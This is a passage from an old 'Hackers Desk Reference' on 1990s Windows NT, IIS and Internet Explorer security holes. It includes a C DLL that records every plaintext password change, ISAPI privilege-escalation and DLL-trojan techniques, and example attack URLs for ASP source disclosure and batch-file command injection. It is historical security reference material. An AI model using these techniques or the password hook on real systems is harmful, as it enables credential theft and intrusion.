Hackers Desk Reference

--From ntsecurity.net

An icon can be embedded within a web page, which when double-clicked, may run a remote application without warning. This is NOT the same bug as the ".LNK and .URL" problem discovered recently.

According to the author, "this bug only effects Internet Explorer 3.0 users (version 4.70.1215). The problem is significantly more serious if the user is on a platform with CIFS (Windows NT 4.0 with Service Pack 1 or later installed). If this is the case, the location of the malicious executable code to be run on the victim's machine could be anywhere on the Internet. If this is not the case, the location of the machine containing the code is restricted to within the scope of Windows name resolution. For example, the host must be either on the same subnet, listed in the victim's LMHOSTS file, or listed on the victim's WINS server."

Internet Explorer enables a user to utilize a URL describing a remote directory. When clicked, the desktop moves to a Windows Explorer window -- but it's inside of Internet Explorer. If this URL is used as the basis for an <IFRAME> tag, an embedded frame can be created with what is essentially a Windows Explorer window inside. If this window is made small enough, it appears to be some sort of button, which when clicked runs a remote program. CIFS allows a machine to use the IP or hostname provided in the URL as a way of contacting the remote host containing the executable.

[13.2.4] IE can launch remote apps

--From ntsecurity.net

Microsoft Internet Explorer v3.01 has a serious bug which allows web page writers to use ".LNK" and ".URL" files to run programs on a remote computer. This bug is particularly damaging because it uses NO ActiveX, and works even when Internet Explorer is set to its highest security level. It was tested on Microsoft Internet Explorer Version 3.0 (4.70.1155) running Windows 95. Microsoft says that users running Internet Explorer 3.0 and 3.01 for Windows 95 and Windows NT are affected. It does not affect users of Internet Explorer 3.0 / 3.0a for Windows 3.1 or Internet Explorer for Macintosh 2.1 / 3.0 / 3.0a.

.URLs work in both Windows 95 and Windows NT 4.0 -- .LNK's only work in Windows 95 -- .URL files present a possibly greater danger because they can be easily created by server side scripts to meet the specific settings of a user's system. We will provide .URL files for execution in the next day or so on this page.

The "shortcuts" can be set to be minimized during execution which means that users may not even be aware that a program has been started. Microsoft's implementation of shortcuts becomes a serious concern if a webpage can tell Internet Explorer to refresh to an executable. Or worse, client side scripts (Java, JavaScript, or VBScript) can use the Explorer object to transfer a BATCH file to the target machine and then META REFRESH to that BATCH file to execute the rogue command in that file.

The META REFRESH tag can be used to execute multiple commands in sequence. This demo copies a .BAT file into your Internet Explorer cache and then runs the .BAT file. This .BAT will create a new key in your registry called "HKEY_CURRENT_USER/Software/Cybersnot". It will then open your AUTOEXEC.BAT and CONFIG.SYS in notepad. Finally, it will open REGEDIT so that you can view the key it creates. According to its author, the demo below does not destroy anything and should not cause any problems on your system. HOWEVER by downloading it, you assume complete liablity for what it may do to your system.

[13.2.5] Password Grabbing Trojans

From Jeremy Allison

I am posting this to both the Samba list and the nt-security list as I believe this information will be of interest to both groups. This message is somewhat long and contains code fragments so my apologies if this is of no interest to you (just hit delete :-). Over several years helping to write Samba and dealing with UNIX and NT integration problems one of the most common requests I have seen is some way to get a UNIX box (maybe running Samba) to act as a NT domain controller, or for some way to unify the password databases between UNIX boxes and NT Domains. The first problem is not solveable due to the amount of Microsoft proprietary information they would have to reveal, and MS are not willing to make that available. The second problem however, is more tractable. It seems in NT4.x Microsoft have finally revealed enough information to make synchronisation between UNIX and NT password databases possible.

Sync'ing from a UNIX box to an NT box was always possible, as the API's to change an NT password have always been available in the old Lanman API set, the difficulty was sync'ing NT password changes to a UNIX box, as the password change API's always seemed to go into a 'black box'to which no external access was available. It had to be possible, however, as NT Domains are perfectly capable of synchronising with Netware LANs. As the password hash mechanisms in NT and Netware are different the Netware password update mechanism had to be able to get at the plaintext password at the update time, before it got hashed and placed in the NT SAM. This mechanism is now available to other libraries on NT 4.x.

On NT 4.x there is a Key

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

and one of the defined name/value pairs is "Notification Packages" which is a Multi_string value which as shipped has a value of FPNWCLNT. This is obviously the name of a DLL (as I found it as FPNWCLNT.DLL in %SYSTEMROOT%\SYSTEM32) and logic would dictate that this was the place that the Netware password updates were done. The latest Microsoft SDK held the missing part of the puzzle, the neccessary API's that need to be in such a DLL in order for it to get password change notification. So here below, is a very simple DLL that will receive plaintext password change notifications from the NT LSA code. The sample code just logs all password change notifications to a file called C:\TEMP\PWDCHANGE.OUT, but it illustrates the technique. To test it, comple the C code and .DEF file into a DLL called pwdchange.dll, copy it to %SYSTEMROOT%\SYSTEM32 update the value

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification

Packages

to read

FPNWCLNT

PWDCHANGE

(NB. The newline between the two is *important*). and then reboot the machine. Tests show that all password changes are now funnelled through this DLL with the following information, Username, Plaintext password, RID (relative domain id). More interesting is that on creation of a new user this DLL is also called, this could be used to do centralized account management by creating a new UNIX user on the fly as a new NT user is created. Such a library would be installed on the Primary domain controller for an NT domain, and will then allow all users passwords to be propagated to non-NT systems as they are changed. The useful thing about this method is that it gets called on *all* forms of password update, from using CTRL-ALT-DEL to update your password, using USERMGR to change a password, or even by using the net user <username> <password> command from the command prompt.

My own uses for this will be to keep an smbpasswd file up to date for the use by Samba, but a proposed mechanism to keep a UNIX password database in synch would be as follows:

1). Keep the notify DLL simple, as it is called in the context of an NT security system - we don't want complexity here. Just write the change information down a named pipe from the DLL.

2). Create a service, that creates the read end of the above named pipe. This service is configured with the following information, held in the registry.

a). The name of the UNIX machine and TCP port number of a process on it to communicate with.

b). A 'secret' DES key (secret in quotes as anyone with Administrator access could read it) which is used to encrypt the change notifications going across the net. This service would just read password change notifications, encrypt the data and ship it to a UNIX machine where it could be processed. This service can get as complex as we like, with queueing, retry, handshaking etc.

3). Create a UNIX daemon, running as root, listening on the TCP port named above for password change data. This daemon also needs access to the 'secret' DES key to decrypt the data (probably in a root owned and read-only be root file).

This daemon could then be configured to keep whatever databases residing on the UNIX side in sync are required. Suggestions are the UNIX password database, the Samba database, a Kerberos password database, Oracle, Sybase.... be my guest :-).

If this above daemon is written so that new change notification modules can be plugged in to it (like the PAM spec as an example) it would be flexible enough for all the above. Of course this will make any securiy expert shudder, as compromising the DES key comprmises all new password changes, but that's the price we pay for simplicity (Bruce Schneier(sp?) would definately not approve :-). Anyway enough with the pontificating, here's the code :-). (Code was written with Microsoft Visual C++ 4.x, not tested on other compilers). As always, this code has no warranty, and using it may cause your system to self destruct in 5 seconds .. .etc, etc, etc.... (hope that's enough legal-ease to protect me :-)

Some comments by: Mark Joseph Edwards

Although some people think that this exploit only works on a PDC, this is NOT so. It works just fine on NT systems installed just as a server (non-domain controller), and it also works just fine on NT Workstation. This DOESN'T work on a Backup Domain Controller, but it DOES work on a Primary Domain Controller. Also, take note that NT 4.0 and Service Pack 2 (or greater) are required for this to work on any variety of NT installation. If you want more information on this hook, see Microsoft's Knowledge Base article # Q151082, located here. You may also want to take note right here and now that the MSGINA.DLL, which is the default "Graphical Identification and Authorization" provider for the local console logon, could also be overwritten with a trojan .DLL. Once this happens, you're toast. Ouch!

Here's Jeremy's useful (non-trojan) code:

#include <windows.h> #include <stdio.h> #include <stdlib.h>

struct UNI_STRING { USHORT len; USHORT maxlen; WCHAR *buff;

};

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()

{

DWORD wrote;

fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0,

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH, 0);

WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);

return TRUE;

}

LONG __stdcall PasswordChangeNotify ( struct UNI_STRING *user,

ULONG rid,

struct UNI_STRING *passwd

)

{

DWORD wrote; WCHAR wbuf[200]; char buf[512];

char buf1[200]; DWORD len;

memcpy(wbuf, user->buff, user->len); len = user->len/sizeof(WCHAR); wbuf[len] = 0;

wcstombs(buf1, wbuf, 199); sprintf(buf, "User = %s : ", buf1);

WriteFile(fh, buf, strlen(buf), &wrote, 0);

memcpy(wbuf, passwd->buff, passwd->len);

len = passwd->len/sizeof(WCHAR);

wbuf[len] = 0;

wcstombs(buf1, wbuf, 199);

sprintf(buf, "Password = %s : ", buf1);

WriteFile(fh, buf, strlen(buf), &wrote, 0);

sprintf(buf, "RID = %x\n", rid);

WriteFile(fh, buf, strlen(buf), &wrote, 0);

return 0L;

}

-----------------------end of pwdchange.c------------------------------------

---------cut here-pwdchange.def----------------------------------------------

EXPORTS

InitializeChangeNotify=_InitializeChangeNotify@0

PasswordChangeNotify=_PasswordChangeNotify@12

--------------------end pwdchange.def-----------------------------------------

[13.2.6] Reverting an ISAPI Script

ISAPI scripts run under the IUSR_MACHINENAME account under IIS, and thus, inherit the security permissions of this account. However, if the ISAPI program contains a

simple call labelled RevertToSelf(), you have a big hole. Once that program line is executed, the ISAPI program reverts it's authority to the all-powerful SYSTEM account, at which point the program can do just about anything, including successfully execute system() calls.

Try it yourself - this DLL runs on Intel based IIS machines. Drop it in your scripts directory, and call it without any parameters using your Web browser. (i.e. http://www.yoursite.com/scripts/revert.dll) It creates a directory called C:\IIS-REVERT- TEST with no trouble at all :( I tested this on an NTFS partition with no normal user permissions on the root directory.

Additionally, Laxmikant Gunda was kind enough to report to us that there is yet another way to perform this same exploit. Laxmikant offers the following:

"ISAPI DLL runs under the security context of the IUSR_MACHINENAME account under IIS, and thus inherit the security permissions of that account. However, if the ISAPI DLL can create a process using a call to CreateProcess( ). The process created inherits the security context of the powerful LocalSystem account rather than IUSR_MACHINENAME, thus creating a hole. Thus, any system process can be fired by the ISAPI DLL using this technique.

This can be tried using a generic ISAPI DLL & inserting code for CreateProcess( ) with a process name present in the system.

This behaviour is documented in MSDN library on Impersonation : "When a thread is impersonating a user, most actions by the thread are done in the security context of the thread's impersonation token rather than the primary token of the process that owns the thread. For example, an individual thread of a server process can impersonate a client to verify that the client is allowed to access a securable object. However, some actions are always done using the security context of the process. For example, if an impersonating thread calls the CreateProcess function, the new process inherits the primary token of the process rather than the impersonation token of the calling thread. Similarly, the system always uses the primary token of the process to validate actions requiring the SE_TCB_NAME privilege."

[13.2.7] Rollback.exe

The Windows NT 4.0 Server and Workstation compact discs include a utility called Rollback.exe. Rollback.exe was designed to help computer manufacturers preinstall Windows NT 4.0, and allow end-users to do the final configuration according to the desired role of the computer. Running this utility will remove all registry settings on a system and bring it back to the end of the Character Based Setup portion of the Setup

program, effectively undoing everything configured by the GUI portion of Windows NT Setup.

WARNING: Do not run this file on a production system! There is no way to recover information erased by running this utility, so anything stored in the registry will be lost. This includes user account information, protocol bindings, application settings, user preferences, etc.

MORE INFORMATION

If you run Rollback.exe on a production system there is no warning that Rollback.exe removes all system registry entries. Therfore, after you run Rollback.exe there is no system to rescue or to restore as the registry and the Setup.log file no longer exist.

The only fix to this problem is to restore the entire system from a current tape back up. Emergency Repair Disk does not restore the system as it requires the Setup.log and specific registry components to be present.

Rollback.exe is on the Windows NT compact discs in the following directory:

support\deptools\<system>\

[13.2.8] Replacing System .dll's

System DLLs are called by applications and the registry, and can be replaced with trojaned/virused versions. %systemroot% and %systemroot%\system32 directories have default permissions of 'Everyone' (includes guest) set to 'Change'. This allows DLLs not in use to be replaced. DLLs in use are locked.

DLLs are run by programs at various levels during normal operation. A DLL for example can be run with SYSTEM privileges by a service while a user with normal privileges is logged on.

This is also true for the MSGINA.DLL, which is the default "Graphical Identification and Authorization" provider for the local console logon, which if replaced, could seriously compromise your entire enterprise.

[13.2.9] Renaming Executables

Executables renamed as .xxx files run as executable from command line. Executables can be renamed with any extension and run from the command prompt or batch file. Subverts filtering/download control by filename extension.

Also executables without a filename extension can be started from the command prompt or batch file, as NT will try to run the file as .COM, .EXE, .CMD, or .BAT in that order.

This leaves room for a potential trojan to be introduced into the system.

[13.3.0] Viewing ASP Scripts

DESCRIPTION

A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre <j.llibre@codetel.net.do>. This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing. Microsoft confirms that .HTX and .IDC files are also vulnerable.

HOW IT WORKS

To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL database, they will be revealed.

[13.3.1] .BAT and .CMD Attacks

Sending a command line to the server, such as "http://www.domain.com/scripts/expoit.bat?&commandA+?&commandB" to the server, and then clicking the Stop Button on the browser will cause the server to execute DOS commands on the server's OS.

Adding a '+?&time' or '+?&date' to the end of the command, will cause the server to pause for input. Clicking the Stop Button on the browser will interrupt the server making